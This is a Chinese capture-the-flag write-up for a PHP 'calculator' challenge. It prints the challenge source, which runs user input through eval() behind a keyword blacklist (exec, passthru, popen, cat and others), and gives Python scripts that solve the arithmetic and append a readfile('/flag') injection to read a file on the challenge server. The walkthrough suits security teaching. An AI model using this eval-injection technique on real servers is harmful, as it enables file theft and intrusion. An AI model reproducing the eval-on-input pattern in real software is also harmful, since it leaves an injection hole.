一道简单的计算器 考点:写脚本
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 <?php header("Content-Type: text/html;charset=utf-8" ); session_start(); function calculator ( ) { srand(time()); $param1 = rand(); $param2 = rand(); $flag =rand(0 ,4 ); switch ($flag ) { case 0 : return sprintf("%s+%s" ,$param1 ,$param2 ); break ; case 1 : return sprintf("%s-%s" ,$param1 ,$param2 ); break ; case 3 : return sprintf("%s*%s" ,$param1 ,$param2 ); break ; case 4 : return sprintf("%s/%s" ,$param1 ,$param2 ); break ; } } function waf ($str ) { if (preg_match("/put|sys|exec|\`|\^|\%|\~\/|passthru|popen|cat|\\|preg|ph|\<\?|\<|ar|un|sc|va/is" , $str )){ die ("no hack" ); } } if (isset ($_GET ['a' ])){ waf($_GET ['a' ]); $payload = preg_replace("/;/" , "" , $_GET ['a' ]); $go = sprintf("\$check=(%s==%s);" ,$_SESSION ['expr' ],$payload ); eval ($go ); if ($check ){ $_SESSION ['expr' ] = calculator(); $answer = "U 4re right" ; }else { $answer = "Try again!" ; } }else { $_SESSION ['expr' ]=calculator(); } if (isset ($_GET ['source' ])){ highlight_file(__FILE__ ); die (); } ?> <!DOCTYPE html> <html lang="zh-CN" ><head> <meta http-equiv="content-type" content="text/html; charset=UTF-8" > <meta charset="utf-8" > <meta http-equiv="X-UA-Compatible" content="IE=edge" > <meta name="viewport" content="width=device-width, initial-scale=1" > <!-- 上述3 个meta标签*必须*放在最前面,任何其他内容都*必须*跟随其后! --> <title>简单的计算题</title> <!-- Bootstrap --> <link href="static/bootstrap.css" rel="stylesheet" > </head> <body> <!-- jQuery (Bootstrap 的所有 JavaScript 插件都依赖 jQuery,所以必须放在前边) --> <script src="static/jquery-3.js" ></script> <!-- 加载 Bootstrap 的所有 JavaScript 插件。你也可以根据需要只加载单个插件。 --> <script src="static/bootstrap.js" ></script> <div class ="row "> <div class ="col -md -4"> </div > <div class ="col -md -4" position ="absolute "> <div class ="page -header "> <h1 >简单的计算题</h1 > <br ><br ><br > <h4 ><?php echo $_SESSION ['expr '];?></h4 > </div > <form role ="form " method ="GET " action =""> <div class ="form -group "> <label for ="name ">答案</label > <input type ="text " class ="form -control " id ="name " name ="a " placeholder ="请输入你的答案"> </div > <button type ="submit " class ="btn btn -default ">提交</button > </form > <center ><a href ="?source ">Source </a ></center > <h3 ><?php echo $answer ;?></h3 > </div > <div class ="col -md -4"> </div > </div > </body ></html >
通过代码审计,$a是我们能控制的地方。过滤了一些东西,但是没有过滤file_get_contents、readfile等等。这里用readfile
先写一段代码,把页面信息爬下来。
1 2 3 4 5 import requests import re r = requests.session(); result=r.get("http://47.98.234.232:28071/" ) print (result.text)
找到要计算的式子位置。
修改代码,显示运算结果
1 2 3 4 5 6 7 import requests import re r = requests.session(); result=r.get("http://47.98.234.232:28071/" ) expr=re.findall("<h4>(.*?)</h4>" ,result.text) print (eval (expr[0 ]))
初步脚本已写好。将需要注入的字符串粘在计算结果通过$a一起输入进去,读flag
1 2 3 4 5 6 7 8 9 10 import requests import re r = requests.session(); result=r.get("http://47.98.234.232:28071/" ) expr=re.findall("<h4>(.*?)</h4>" ,result.text) print (eval (expr[0 ]))url="http://47.98.234.232:28071/?a=%s" %str (eval (expr[0 ]))+" and print_r(readfile('/flag'))" print (url)a=r.get(url) print (a.text)